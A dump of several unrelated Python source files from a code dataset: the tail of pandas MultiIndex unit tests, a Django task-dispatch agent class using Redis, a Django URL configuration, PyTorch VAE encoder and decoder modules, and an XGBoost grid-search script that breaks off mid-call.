self.index.drop, mixed_index)\n\n # error='ignore'\n dropped = self.index.drop(index, errors='ignore')\n expected = self.index[[0, 1, 2, 3, 4, 5]]\n self.assert_index_equal(dropped, expected)\n\n dropped = self.index.drop(mixed_index, errors='ignore')\n expected = self.index[[0, 1, 2, 3, 5]]\n self.assert_index_equal(dropped, expected)\n\n dropped = self.index.drop(['foo', 'two'], errors='ignore')\n expected = self.index[[2, 3, 4, 5]]\n self.assert_index_equal(dropped, expected)\n\n # mixed partial / full drop\n dropped = self.index.drop(['foo', ('qux', 'one')])\n expected = self.index[[2, 3, 5]]\n self.assert_index_equal(dropped, expected)\n\n # mixed partial / full drop / error='ignore'\n mixed_index = ['foo', ('qux', 'one'), 'two']\n self.assertRaises(KeyError, self.index.drop, mixed_index)\n dropped = self.index.drop(mixed_index, errors='ignore')\n expected = self.index[[2, 3, 5]]\n self.assert_index_equal(dropped, expected)\n\n def test_droplevel_with_names(self):\n index = self.index[self.index.get_loc('foo')]\n dropped = index.droplevel(0)\n self.assertEqual(dropped.name, 'second')\n\n index = MultiIndex(levels=[Index(lrange(4)), Index(lrange(4)), Index(\n lrange(4))], labels=[np.array([0, 0, 1, 2, 2, 2, 3, 3]), np.array(\n [0, 1, 0, 0, 0, 1, 0, 1]), np.array([1, 0, 1, 1, 0, 0, 1, 0])],\n names=['one', 'two', 'three'])\n dropped = index.droplevel(0)\n self.assertEqual(dropped.names, ('two', 'three'))\n\n dropped = index.droplevel('two')\n expected = index.droplevel(1)\n self.assertTrue(dropped.equals(expected))\n\n def test_droplevel_multiple(self):\n index = MultiIndex(levels=[Index(lrange(4)), Index(lrange(4)), Index(\n lrange(4))], labels=[np.array([0, 0, 1, 2, 2, 2, 3, 3]), np.array(\n [0, 1, 0, 0, 0, 1, 0, 1]), np.array([1, 0, 1, 1, 0, 0, 1, 0])],\n names=['one', 'two', 'three'])\n\n dropped = index[:2].droplevel(['three', 'one'])\n expected = index[:2].droplevel(2).droplevel(0)\n self.assertTrue(dropped.equals(expected))\n\n def test_drop_not_lexsorted(self):\n # GH 12078\n\n # define the lexsorted version of the multi-index\n tuples = [('a', ''), ('b1', 'c1'), ('b2', 'c2')]\n lexsorted_mi = MultiIndex.from_tuples(tuples, names=['b', 'c'])\n self.assertTrue(lexsorted_mi.is_lexsorted())\n\n # and the not-lexsorted version\n df = pd.DataFrame(columns=['a', 'b', 'c', 'd'],\n data=[[1, 'b1', 'c1', 3], [1, 'b2', 'c2', 4]])\n df = df.pivot_table(index='a', columns=['b', 'c'], values='d')\n df = df.reset_index()\n not_lexsorted_mi = df.columns\n self.assertFalse(not_lexsorted_mi.is_lexsorted())\n\n # compare the results\n self.assert_index_equal(lexsorted_mi, not_lexsorted_mi)\n with self.assert_produces_warning(PerformanceWarning):\n self.assert_index_equal(lexsorted_mi.drop('a'),\n not_lexsorted_mi.drop('a'))\n\n def test_insert(self):\n # key contained in all levels\n new_index = self.index.insert(0, ('bar', 'two'))\n self.assertTrue(new_index.equal_levels(self.index))\n self.assertEqual(new_index[0], ('bar', 'two'))\n\n # key not contained in all levels\n new_index = self.index.insert(0, ('abc', 'three'))\n tm.assert_numpy_array_equal(new_index.levels[0],\n list(self.index.levels[0]) + ['abc'])\n tm.assert_numpy_array_equal(new_index.levels[1],\n list(self.index.levels[1]) + ['three'])\n self.assertEqual(new_index[0], ('abc', 'three'))\n\n # key wrong length\n assertRaisesRegexp(ValueError, \"Item must have length equal to number\"\n \" of levels\", self.index.insert, 0, ('foo2', ))\n\n left = pd.DataFrame([['a', 'b', 0], ['b', 'd', 1]],\n columns=['1st', '2nd', '3rd'])\n left.set_index(['1st', '2nd'], inplace=True)\n ts = left['3rd'].copy(deep=True)\n\n left.loc[('b', 'x'), '3rd'] = 2\n left.loc[('b', 'a'), '3rd'] = -1\n left.loc[('b', 'b'), '3rd'] = 3\n left.loc[('a', 'x'), '3rd'] = 4\n left.loc[('a', 'w'), '3rd'] = 5\n left.loc[('a', 'a'), '3rd'] = 6\n\n ts.loc[('b', 'x')] = 2\n ts.loc['b', 'a'] = -1\n ts.loc[('b', 'b')] = 3\n ts.loc['a', 'x'] = 4\n ts.loc[('a', 'w')] = 5\n ts.loc['a', 'a'] = 6\n\n right = pd.DataFrame([['a', 'b', 0],\n ['b', 'd', 1],\n ['b', 'x', 2],\n ['b', 'a', -1],\n ['b', 'b', 3],\n ['a', 'x', 4],\n ['a', 'w', 5],\n ['a', 'a', 6]],\n columns=['1st', '2nd', '3rd'])\n right.set_index(['1st', '2nd'], inplace=True)\n # FIXME data types changes to float because\n # of intermediate nan insertion;\n tm.assert_frame_equal(left, right, check_dtype=False)\n tm.assert_series_equal(ts, right['3rd'])\n\n # GH9250\n idx = [('test1', i) for i in range(5)] + \\\n [('test2', i) for i in range(6)] + \\\n [('test', 17), ('test', 18)]\n\n left = pd.Series(np.linspace(0, 10, 11),\n pd.MultiIndex.from_tuples(idx[:-2]))\n\n left.loc[('test', 17)] = 11\n left.ix[('test', 18)] = 12\n\n right = pd.Series(np.linspace(0, 12, 13),\n pd.MultiIndex.from_tuples(idx))\n\n tm.assert_series_equal(left, right)\n\n def test_take_preserve_name(self):\n taken = self.index.take([3, 0, 1])\n self.assertEqual(taken.names, self.index.names)\n\n def test_join_level(self):\n def _check_how(other, how):\n join_index, lidx, ridx = other.join(self.index, how=how,\n level='second',\n return_indexers=True)\n\n exp_level = other.join(self.index.levels[1], how=how)\n self.assertTrue(join_index.levels[0].equals(self.index.levels[0]))\n self.assertTrue(join_index.levels[1].equals(exp_level))\n\n # pare down levels\n mask = np.array(\n [x[1] in exp_level for x in self.index], dtype=bool)\n exp_values = self.index.values[mask]\n tm.assert_numpy_array_equal(join_index.values, exp_values)\n\n if how in ('outer', 'inner'):\n join_index2, ridx2, lidx2 = \\\n self.index.join(other, how=how, level='second',\n return_indexers=True)\n\n self.assertTrue(join_index.equals(join_index2))\n tm.assert_numpy_array_equal(lidx, lidx2)\n tm.assert_numpy_array_equal(ridx, ridx2)\n tm.assert_numpy_array_equal(join_index2.values, exp_values)\n\n def _check_all(other):\n _check_how(other, 'outer')\n _check_how(other, 'inner')\n _check_how(other, 'left')\n _check_how(other, 'right')\n\n _check_all(Index(['three', 'one', 'two']))\n _check_all(Index(['one']))\n _check_all(Index(['one', 'three']))\n\n # some corner cases\n idx = Index(['three', 'one', 'two'])\n result = idx.join(self.index, level='second')\n tm.assertIsInstance(result, MultiIndex)\n\n assertRaisesRegexp(TypeError, \"Join.*MultiIndex.*ambiguous\",\n self.index.join, self.index, level=1)\n\n def test_join_self(self):\n kinds = 'outer', 'inner', 'left', 'right'\n for kind in kinds:\n res = self.index\n joined = res.join(res, how=kind)\n self.assertIs(res, joined)\n\n def test_join_multi(self):\n # GH 10665\n midx = pd.MultiIndex.from_product(\n [np.arange(4), np.arange(4)], names=['a', 'b'])\n idx = pd.Index([1, 2, 5], name='b')\n\n # inner\n jidx, lidx, ridx = midx.join(idx, how='inner', return_indexers=True)\n exp_idx = pd.MultiIndex.from_product(\n [np.arange(4), [1, 2]], names=['a', 'b'])\n exp_lidx = np.array([1, 2, 5, 6, 9, 10, 13, 14])\n exp_ridx = np.array([0, 1, 0, 1, 0, 1, 0, 1])\n self.assert_index_equal(jidx, exp_idx)\n self.assert_numpy_array_equal(lidx, exp_lidx)\n self.assert_numpy_array_equal(ridx, exp_ridx)\n # flip\n jidx, ridx, lidx = idx.join(midx, how='inner', return_indexers=True)\n self.assert_index_equal(jidx, exp_idx)\n self.assert_numpy_array_equal(lidx, exp_lidx)\n self.assert_numpy_array_equal(ridx, exp_ridx)\n\n # keep MultiIndex\n jidx, lidx, ridx = midx.join(idx, how='left', return_indexers=True)\n exp_ridx = np.array([-1, 0, 1, -1, -1, 0, 1, -1, -1, 0, 1, -1, -1, 0,\n 1, -1])\n self.assert_index_equal(jidx, midx)\n self.assertIsNone(lidx)\n self.assert_numpy_array_equal(ridx, exp_ridx)\n # flip\n jidx, ridx, lidx = idx.join(midx, how='right', return_indexers=True)\n self.assert_index_equal(jidx, midx)\n self.assertIsNone(lidx)\n self.assert_numpy_array_equal(ridx, exp_ridx)\n\n def test_reindex(self):\n result, indexer = self.index.reindex(list(self.index[:4]))\n tm.assertIsInstance(result, MultiIndex)\n self.check_level_names(result, self.index[:4].names)\n\n result, indexer = self.index.reindex(list(self.index))\n tm.assertIsInstance(result, MultiIndex)\n self.assertIsNone(indexer)\n self.check_level_names(result, self.index.names)\n\n def test_reindex_level(self):\n idx = Index(['one'])\n\n target, indexer = self.index.reindex(idx, level='second')\n target2, indexer2 = idx.reindex(self.index, level='second')\n\n exp_index = self.index.join(idx, level='second', how='right')\n exp_index2 = self.index.join(idx, level='second', how='left')\n\n self.assertTrue(target.equals(exp_index))\n exp_indexer = np.array([0, 2, 4])\n tm.assert_numpy_array_equal(indexer, exp_indexer)\n\n self.assertTrue(target2.equals(exp_index2))\n exp_indexer2 = np.array([0, -1, 0, -1, 0, -1])\n tm.assert_numpy_array_equal(indexer2, exp_indexer2)\n\n assertRaisesRegexp(TypeError, \"Fill method not supported\",\n self.index.reindex, self.index, method='pad',\n level='second')\n\n assertRaisesRegexp(TypeError, \"Fill method not supported\", idx.reindex,\n idx, method='bfill', level='first')\n\n def test_duplicates(self):\n self.assertFalse(self.index.has_duplicates)\n self.assertTrue(self.index.append(self.index).has_duplicates)\n\n index = MultiIndex(levels=[[0, 1], [0, 1, 2]], labels=[\n [0, 0, 0, 0, 1, 1, 1], [0, 1, 2, 0, 0, 1, 2]])\n self.assertTrue(index.has_duplicates)\n\n # GH 9075\n t = [(u('x'), u('out'), u('z'), 5, u('y'), u('in'), u('z'), 169),\n (u('x'), u('out'), u('z'), 7, u('y'), u('in'), u('z'), 119),\n (u('x'), u('out'), u('z'), 9, u('y'), u('in'), u('z'), 135),\n (u('x'), u('out'), u('z'), 13, u('y'), u('in'), u('z'), 145),\n (u('x'), u('out'), u('z'), 14, u('y'), u('in'), u('z'), 158),\n (u('x'), u('out'), u('z'), 16, u('y'), u('in'), u('z'), 122),\n (u('x'), u('out'), u('z'), 17, u('y'), u('in'), u('z'), 160),\n (u('x'), u('out'), u('z'), 18, u('y'), u('in'), u('z'), 180),\n (u('x'), u('out'), u('z'), 20, u('y'), u('in'), u('z'), 143),\n (u('x'), u('out'), u('z'), 21, u('y'), u('in'), u('z'), 128),\n (u('x'), u('out'), u('z'), 22, u('y'), u('in'), u('z'), 129),\n (u('x'), u('out'), u('z'), 25, u('y'), u('in'), u('z'), 111),\n (u('x'), u('out'), u('z'), 28, u('y'), u('in'), u('z'), 114),\n (u('x'), u('out'), u('z'), 29, u('y'), u('in'), u('z'), 121),\n (u('x'), u('out'), u('z'), 31, u('y'), u('in'), u('z'), 126),\n (u('x'), u('out'), u('z'), 32, u('y'), u('in'), u('z'), 155),\n (u('x'), u('out'), u('z'), 33, u('y'), u('in'), u('z'), 123),\n (u('x'), u('out'), u('z'), 12, u('y'), u('in'), u('z'), 144)]\n\n index = pd.MultiIndex.from_tuples(t)\n self.assertFalse(index.has_duplicates)\n\n # handle int64 overflow if possible\n def check(nlevels, with_nulls):\n labels = np.tile(np.arange(500), 2)\n level = np.arange(500)\n\n if with_nulls: # inject some null values\n labels[500] = -1 # common nan value\n labels = list(labels.copy() for i in range(nlevels))\n for i in range(nlevels):\n labels[i][500 + i - nlevels // 2] = -1\n\n labels += [np.array([-1, 1]).repeat(500)]\n else:\n labels = [labels] * nlevels + [np.arange(2).repeat(500)]\n\n levels = [level] * nlevels + [[0, 1]]\n\n # no dups\n index = MultiIndex(levels=levels, labels=labels)\n self.assertFalse(index.has_duplicates)\n\n # with a dup\n if with_nulls:\n f = lambda a: np.insert(a, 1000, a[0])\n labels = list(map(f, labels))\n index = MultiIndex(levels=levels, labels=labels)\n else:\n values = index.values.tolist()\n index = MultiIndex.from_tuples(values + [values[0]])\n\n self.assertTrue(index.has_duplicates)\n\n # no overflow\n check(4, False)\n check(4, True)\n\n # overflow possible\n check(8, False)\n check(8, True)\n\n # GH 9125\n n, k = 200, 5000\n levels = [np.arange(n), tm.makeStringIndex(n), 1000 + np.arange(n)]\n labels = [np.random.choice(n, k * n) for lev in levels]\n mi = MultiIndex(levels=levels, labels=labels)\n\n for keep in ['first', 'last', False]:\n left = mi.duplicated(keep=keep)\n right = pd.lib.duplicated(mi.values, keep=keep)\n tm.assert_numpy_array_equal(left, right)\n\n # GH5873\n for a in [101, 102]:\n mi = MultiIndex.from_arrays([[101, a], [3.5, np.nan]])\n self.assertFalse(mi.has_duplicates)\n self.assertEqual(mi.get_duplicates(), [])\n tm.assert_numpy_array_equal(mi.duplicated(), np.zeros(\n 2, dtype='bool'))\n\n for n in range(1, 6): # 1st level shape\n for m in range(1, 5): # 2nd level shape\n # all possible unique combinations, including nan\n lab = product(range(-1, n), range(-1, m))\n mi = MultiIndex(levels=[list('abcde')[:n], list('WXYZ')[:m]],\n labels=np.random.permutation(list(lab)).T)\n self.assertEqual(len(mi), (n + 1) * (m + 1))\n self.assertFalse(mi.has_duplicates)\n self.assertEqual(mi.get_duplicates(), [])\n tm.assert_numpy_array_equal(mi.duplicated(), np.zeros(\n len(mi), dtype='bool'))\n\n def test_duplicate_meta_data(self):\n # GH 10115\n index = MultiIndex(levels=[[0, 1], [0, 1, 2]], labels=[\n [0, 0, 0, 0, 1, 1, 1], [0, 1, 2, 0, 0, 1, 2]])\n for idx in [index,\n index.set_names([None, None]),\n index.set_names([None, 'Num']),\n index.set_names(['Upper', 'Num']), ]:\n self.assertTrue(idx.has_duplicates)\n self.assertEqual(idx.drop_duplicates().names, idx.names)\n\n def test_tolist(self):\n result = self.index.tolist()\n exp = list(self.index.values)\n self.assertEqual(result, exp)\n\n def test_repr_with_unicode_data(self):\n with pd.core.config.option_context(\"display.encoding\", 'UTF-8'):\n d = {\"a\": [u(\"\\u05d0\"), 2, 3], \"b\": [4, 5, 6], \"c\": [7, 8, 9]}\n index = pd.DataFrame(d).set_index([\"a\", \"b\"]).index\n self.assertFalse(\"\\\\u\" in repr(index)\n ) # we don't want unicode-escaped\n\n def test_repr_roundtrip(self):\n\n mi = MultiIndex.from_product([list('ab'), range(3)],\n names=['first', 'second'])\n str(mi)\n\n if PY3:\n tm.assert_index_equal(eval(repr(mi)), mi, exact=True)\n else:\n result = eval(repr(mi))\n # string coerces to unicode\n tm.assert_index_equal(result, mi, exact=False)\n self.assertEqual(\n mi.get_level_values('first').inferred_type, 'string')\n self.assertEqual(\n result.get_level_values('first').inferred_type, 'unicode')\n\n mi_u = MultiIndex.from_product(\n [list(u'ab'), range(3)], names=['first', 'second'])\n result = eval(repr(mi_u))\n tm.assert_index_equal(result, mi_u, exact=True)\n\n # formatting\n if PY3:\n str(mi)\n else:\n compat.text_type(mi)\n\n # long format\n mi = MultiIndex.from_product([list('abcdefg'), range(10)],\n names=['first', 'second'])\n result = str(mi)\n\n if PY3:\n tm.assert_index_equal(eval(repr(mi)), mi, exact=True)\n else:\n result = eval(repr(mi))\n # string coerces to unicode\n tm.assert_index_equal(result, mi, exact=False)\n self.assertEqual(\n mi.get_level_values('first').inferred_type, 'string')\n self.assertEqual(\n result.get_level_values('first').inferred_type, 'unicode')\n\n mi = MultiIndex.from_product(\n [list(u'abcdefg'), range(10)], names=['first', 'second'])\n result = eval(repr(mi_u))\n tm.assert_index_equal(result, mi_u, exact=True)\n\n def test_str(self):\n # tested elsewhere\n pass\n\n def test_unicode_string_with_unicode(self):\n d = {\"a\": [u(\"\\u05d0\"), 2, 3], \"b\": [4, 5, 6], \"c\": [7, 8, 9]}\n idx = pd.DataFrame(d).set_index([\"a\", \"b\"]).index\n\n if PY3:\n str(idx)\n else:\n compat.text_type(idx)\n\n def test_bytestring_with_unicode(self):\n d = {\"a\": [u(\"\\u05d0\"), 2, 3], \"b\": [4, 5, 6], \"c\": [7, 8, 9]}\n idx = pd.DataFrame(d).set_index([\"a\", \"b\"]).index\n\n if PY3:\n bytes(idx)\n else:\n str(idx)\n\n def test_slice_keep_name(self):\n x = MultiIndex.from_tuples([('a', 'b'), (1, 2), ('c', 'd')],\n names=['x', 'y'])\n self.assertEqual(x[1:].names, x.names)\n\n def test_isnull_behavior(self):\n # should not segfault GH5123\n # NOTE: if MI representation changes, may make sense to allow\n # isnull(MI)\n with tm.assertRaises(NotImplementedError):\n pd.isnull(self.index)\n\n def test_level_setting_resets_attributes(self):\n ind = MultiIndex.from_arrays([\n ['A', 'A', 'B', 'B', 'B'], [1, 2, 1, 2, 3]\n ])\n assert ind.is_monotonic\n ind.set_levels([['A', 'B', 'A', 'A', 'B'], [2, 1, 3, -2, 5]],\n inplace=True)\n # if this fails, probably didn't reset the cache correctly.\n assert not ind.is_monotonic\n\n def test_isin(self):\n values = [('foo', 2), ('bar', 3), ('quux', 4)]\n\n idx = MultiIndex.from_arrays([['qux', 'baz', 'foo', 'bar'], np.arange(\n 4)])\n result = idx.isin(values)\n expected = np.array([False, False, True, True])\n tm.assert_numpy_array_equal(result, expected)\n\n # empty, return dtype bool\n idx = MultiIndex.from_arrays([[], []])\n result = idx.isin(values)\n self.assertEqual(len(result), 0)\n self.assertEqual(result.dtype, np.bool_)\n\n def test_isin_nan(self):\n idx = MultiIndex.from_arrays([['foo', 'bar'], [1.0, np.nan]])\n tm.assert_numpy_array_equal(idx.isin([('bar', np.nan)]),\n [False, False])\n tm.assert_numpy_array_equal(idx.isin([('bar', float('nan'))]),\n [False, False])\n\n def test_isin_level_kwarg(self):\n idx = MultiIndex.from_arrays([['qux', 'baz', 'foo', 'bar'], np.arange(\n 4)])\n\n vals_0 = ['foo', 'bar', 'quux']\n vals_1 = [2, 3, 10]\n\n expected = np.array([False, False, True, True])\n tm.assert_numpy_array_equal(expected, idx.isin(vals_0, level=0))\n tm.assert_numpy_array_equal(expected, idx.isin(vals_0, level=-2))\n\n tm.assert_numpy_array_equal(expected, idx.isin(vals_1, level=1))\n tm.assert_numpy_array_equal(expected, idx.isin(vals_1, level=-1))\n\n self.assertRaises(IndexError, idx.isin, vals_0, level=5)\n self.assertRaises(IndexError, idx.isin, vals_0, level=-5)\n\n self.assertRaises(KeyError, idx.isin, vals_0, level=1.0)\n self.assertRaises(KeyError, idx.isin, vals_1, level=-1.0)\n self.assertRaises(KeyError, idx.isin, vals_1, level='A')\n\n idx.names = ['A', 'B']\n tm.assert_numpy_array_equal(expected, idx.isin(vals_0, level='A'))\n tm.assert_numpy_array_equal(expected, idx.isin(vals_1, level='B'))\n\n self.assertRaises(KeyError, idx.isin, vals_1, level='C')\n\n def test_reindex_preserves_names_when_target_is_list_or_ndarray(self):\n # GH6552\n idx = self.index.copy()\n target = idx.copy()\n idx.names = target.names = [None, None]\n\n other_dtype = pd.MultiIndex.from_product([[1, 2], [3, 4]])\n\n # list & ndarray cases\n self.assertEqual(idx.reindex([])[0].names, [None, None])\n self.assertEqual(idx.reindex(np.array([]))[0].names, [None, None])\n self.assertEqual(idx.reindex(target.tolist())[0].names, [None, None])\n self.assertEqual(idx.reindex(target.values)[0].names, [None, None])\n self.assertEqual(\n idx.reindex(other_dtype.tolist())[0].names, [None, None])\n self.assertEqual(\n idx.reindex(other_dtype.values)[0].names, [None, None])\n\n idx.names = ['foo', 'bar']\n self.assertEqual(idx.reindex([])[0].names, ['foo', 'bar'])\n self.assertEqual(idx.reindex(np.array([]))[0].names, ['foo', 'bar'])\n self.assertEqual(idx.reindex(target.tolist())[0].names, ['foo', 'bar'])\n self.assertEqual(idx.reindex(target.values)[0].names, ['foo', 'bar'])\n self.assertEqual(\n idx.reindex(other_dtype.tolist())[0].names, ['foo', 'bar'])\n self.assertEqual(\n idx.reindex(other_dtype.values)[0].names, ['foo', 'bar'])\n\n def test_reindex_lvl_preserves_names_when_target_is_list_or_array(self):\n # GH7774\n idx = pd.MultiIndex.from_product([[0, 1], ['a', 'b']],\n names=['foo', 'bar'])\n self.assertEqual(idx.reindex([], level=0)[0].names, ['foo', 'bar'])\n self.assertEqual(idx.reindex([], level=1)[0].names, ['foo', 'bar'])\n\n def test_reindex_lvl_preserves_type_if_target_is_empty_list_or_array(self):\n # GH7774\n idx = pd.MultiIndex.from_product([[0, 1], ['a', 'b']])\n self.assertEqual(idx.reindex([], level=0)[0].levels[0].dtype.type,\n np.int64)\n self.assertEqual(idx.reindex([], level=1)[0].levels[1].dtype.type,\n np.object_)\n\n def test_groupby(self):\n groups = self.index.groupby(np.array([1, 1, 1, 2, 2, 2]))\n labels = self.index.get_values().tolist()\n exp = {1: labels[:3], 2: labels[3:]}\n tm.assert_dict_equal(groups, exp)\n\n # GH5620\n groups = self.index.groupby(self.index)\n exp = dict((key, [key]) for key in self.index)\n tm.assert_dict_equal(groups, exp)\n\n def test_index_name_retained(self):\n # GH9857\n result = pd.DataFrame({'x': [1, 2, 6],\n 'y': [2, 2, 8],\n 'z': [-5, 0, 5]})\n result = result.set_index('z')\n result.loc[10] = [9, 10]\n df_expected = pd.DataFrame({'x': [1, 2, 6, 9],\n 'y': [2, 2, 8, 10],\n 'z': [-5, 0, 5, 10]})\n df_expected = df_expected.set_index('z')\n tm.assert_frame_equal(result, df_expected)\n\n def test_equals_operator(self):\n # GH9785\n self.assertTrue((self.index == self.index).all())\n","sub_path":"pkgs/pandas-0.18.0-np110py27_0/lib/python2.7/site-packages/pandas/tests/indexes/test_multi.py","file_name":"test_multi.py","file_ext":"py","file_size_in_byte":78143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"213753280","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Author : YuLei Lan\n# @Software: PyCharm\n\nimport base64\nimport datetime\nfrom .state import *\nfrom app.system import models\nfrom utils.operating_redis import redis_object\n\n\nclass Agent:\n def __init__(self, agent_id='', info=None):\n self.id = agent_id\n self.last_heartbeat = datetime.datetime.now()\n self.info = info\n self.queue = []\n self.tasks = {}\n self.agents = {}\n\n def heartbeat(self, info):\n self.info = info\n self.last_heartbeat = datetime.datetime.now()\n\n def register(self, agent_id, info):\n agent = Agent(agent_id, info)\n agent.heartbeat(info)\n return agent\n\n def get_agent(self, agent_id):\n agent_obj = models.AgentListModels.objects.get(agent_id=agent_id)\n info = {\n \"hostname\": agent_obj.hostname,\n \"ip\": agent_obj.ipaddress,\n }\n return Agent(agent_id, info)\n\n def get_agent_task(self):\n task_id = redis_object.lpop(\"dispatch_task_id\")\n if task_id:\n task = redis_object.lpop(task_id)\n return task\n\n def send(self, task):\n payload = {'task_id': task.id,\n 'script': base64.b64encode(task.script.encode()).decode(),\n 'timeout': task.timeout}\n redis_object.rpush(\"dispatch_task_id\", task.id)\n redis_object.rpush(task.id, payload)\n \n def free(self, task_id):\n try:\n self.queue.remove(task_id)\n self.tasks.pop(task_id)\n except Exception as e:\n pass\n","sub_path":"dispatch/service/master/core/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":1599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"292532388","text":"from django.conf.urls import patterns, include, url\n\n\nfrom apps.location import views\n\nurlpatterns = patterns('',\n # Home Page:\n url(r'^$', views.home, name='home'),\n\n # Add New Trip\n url(r'^add-new-trip/$', views.add_new_trip, name='add_new_trip'),\n\n ## Load agent data\n url(r'^ajax_calls/load-agents/',views.get_load_agents,name='load_data_agents'),\n ## Load countrys dara\n url(r'^ajax_calls/load-countrys/',views.get_load_countrys,name='load_data_countrys'),\n\n\n url(r'^details/(?P[\\w-]+)/$',views.details_agent_data,name='details_agent_data'),\n\n\n\n\n\n # url(r'^blog-detail$', views.blog_detail, name='blog-detail'),\n\n\n\n )\n","sub_path":"apps/location/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"20058768","text":"import torch.nn as nn\nimport torch\nimport utils \nfrom layers import ConvBlock, UpResBloc, Conv2dEnum, BatchNorm2dEnum\nclass Encoder_z(nn.Module):\n \"\"\"\n Will take any insize as long as it is divisible by 8\n \"\"\"\n def __init__(self,\n x_size=80, z_size=100, y_size=3):\n super().__init__()\n self.y_size = y_size\n self.x_size = x_size\n self.z_size = z_size\n self.linear_size = int((self.x_size/8)**2)\n self.net = nn.Sequential(\n Conv2dEnum(1, 32, kernel_size=7, padding=3, bias=False),\n nn.ELU(),\n nn.AvgPool2d(2),\n ConvBlock(32, bias=False),\n Conv2dEnum(32,16,kernel_size=5, padding=2, bias=False),\n nn.ELU(),\n ConvBlock(16, bias=False),\n nn.AvgPool2d(2),\n Conv2dEnum(16, 1, kernel_size=5, padding=2, bias=False),\n nn.AvgPool2d(2),\n nn.ELU()\n )\n self.linear = nn.Linear(self.linear_size + self.y_size, self.linear_size)\n self.loc = nn.Linear(self.linear_size, self.z_size)\n self.scale = nn.Linear(self.linear_size, self.z_size)\n \n def forward(self, x, y):\n z = x - 0.222\n z = x / 0.156\n z = self.net(z)\n z = z.view(z.shape[0], -1)\n \n z = utils.cat((z, y), -1)\n\n z = self.linear(z)\n z_loc = self.loc(z)\n z_scale = torch.exp(self.scale(z))\n return z_loc, z_scale\n\nclass Encoder_y(nn.Module):\n def __init__(self, x_size=80, y_size=3):\n super().__init__()\n self.y_size = y_size\n self.x_size = x_size\n self.linear_size = int((x_size/8)**2)\n self.net = nn.Sequential(\n Conv2dEnum(1, 32, kernel_size=7, padding=3, bias=False),\n nn.Tanh(),\n nn.AvgPool2d(2),\n ConvBlock(32,5, bias=False),\n Conv2dEnum(32,16,kernel_size=5, padding=2, bias=False),\n nn.Tanh(),\n ConvBlock(16, bias=False),\n nn.AvgPool2d(2),\n Conv2dEnum(16, 1, kernel_size=5, padding=2, bias=False),\n nn.AvgPool2d(2),\n nn.Tanh()\n )\n self.linear = nn.Linear(self.linear_size, self.y_size)\n self.sigmoid = nn.Sigmoid()\n def forward(self, x):\n\n x = x - 0.222\n x = x / 0.156\n x = self.net(x)\n x = x.view(-1, self.linear_size)\n x = self.linear(x)\n x = self.sigmoid(x)\n return x\n \nclass Decoder(nn.Module):\n def __init__(self, z_size=100, x_size=80, y_size=3):\n super().__init__()\n self.y_size = y_size\n self.z_size = z_size\n self.x_size = x_size\n self.linear_size = int((x_size/8)**2)\n self.linear = nn.Linear(self.z_size + self.y_size, self.linear_size)\n self.net = nn.Sequential(\n nn.ELU(),\n UpResBloc(1, 32),\n nn.ELU(),\n BatchNorm2dEnum(32),\n ConvBlock(32, bias=False),\n UpResBloc(32, 32),\n nn.ELU(),\n ConvBlock(32, bias=False),\n ConvBlock(32, bias=False),\n UpResBloc(32, 1),\n nn.Sigmoid()\n )\n \n def forward(self, z, y):\n # TODO CHECK\n z = utils.cat((z, y), -1)\n z = self.linear(z)\n z = torch.reshape(z, (*z.shape[:-1],1, int(self.x_size/8), int(self.x_size/8)))\n \n loc_img = self.net(z)\n return loc_img\n\nif __name__ == \"__main__\":\n x = torch.zeros([10, 1, 80, 80])\n y = torch.zeros([2, 10, 3])\n encoder_z = Encoder_z(x_size=80)\n encoder_y = Encoder_y()\n decoder = Decoder(x_size=80)\n x = encoder_z(x, y)\n\n x = x[0]\n x = decoder(x, y)\n x = torch.zeros([10, 1, 80, 80])\n y = encoder_y(x)\n","sub_path":"ss_encoders_decoders_gz_enum.py","file_name":"ss_encoders_decoders_gz_enum.py","file_ext":"py","file_size_in_byte":3736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"510881828","text":"import numpy as np\nimport pandas as pd\nimport math\nfrom sklearn.model_selection import train_test_split, KFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.model_selection import KFold\nfrom xgboost import XGBRegressor\n\ntrain_df= pd.read_csv('data/processed_train.csv')\ntest_df = pd.read_csv('data/processed_test.csv')\ntarget_col = \"target\"\n\ncols_to_use=['feature_1', 'feature_2', 'feature_3','year','month','num_hist_transactions','sum_hist_trans', 'mean_hist_trans',\n 'std_hist_trans', 'min_hist_trans', 'max_hist_trans','num_merch_transactions','sum_merch_trans', 'mean_merch_trans',\n 'std_merch_trans','min_merch_trans', 'max_merch_trans']\n\ntrain_X = train_df[cols_to_use]\ntest_X = test_df[cols_to_use]\ntrain_y = train_df[target_col].values\n\n'''\n#tune 1:\ndepth = [5]\nlearning = [0.05]\nestimators = [100]\ngamma = [0.1,0.3,0.5]\nmin_child_weight =[1,3,5]\n#best: Best: -14.493511 using {'n_estimators': 100, 'learning_rate': 0.05, 'max_depth': 5}\n#Best: -14.492914 using {'n_estimators': 100, 'learning_rate': 0.05, 'max_depth': 5, 'gamma': 0.3, 'min_child_weight': 5}\n\n#########\nmodel = XGBRegressor(random_state =0)\nparam_grid = dict(max_depth = depth,learning_rate=learning, n_estimators=estimators, gamma = gamma,min_child_weight=min_child_weight)\nkfold = KFold(n_splits=5, shuffle=True, random_state=7)\ngrid_search = GridSearchCV(model, param_grid, scoring=\"neg_mean_squared_error\", n_jobs=-1, cv=kfold,verbose=True)\ngrid_result = grid_search.fit(train_X, train_y)\n\n# summarize results\n\nprint(\"Best: %f using %s\" % (grid_result.best_score_,grid_result.best_params_))\nprint(\"RMSE: \" + math.sqrt(abs(grid_result.best_score_)))\nmeans = grid_result.cv_results_['mean_test_score']\nstds = grid_result.cv_results_['std_test_score']\nparams = grid_result.cv_results_['params']\nfor mean, stdev, param in zip(means, stds, params):\n print(\"%f (%f) with: %r\" % (mean, stdev, param))\n'''\nmodel_A= XGBRegressor(max_depth=5,\n n_estimators=100,\n learning_rate=0.05,\n gamma = 0.3,\n min_child_weight =5,\n random_state=0\n 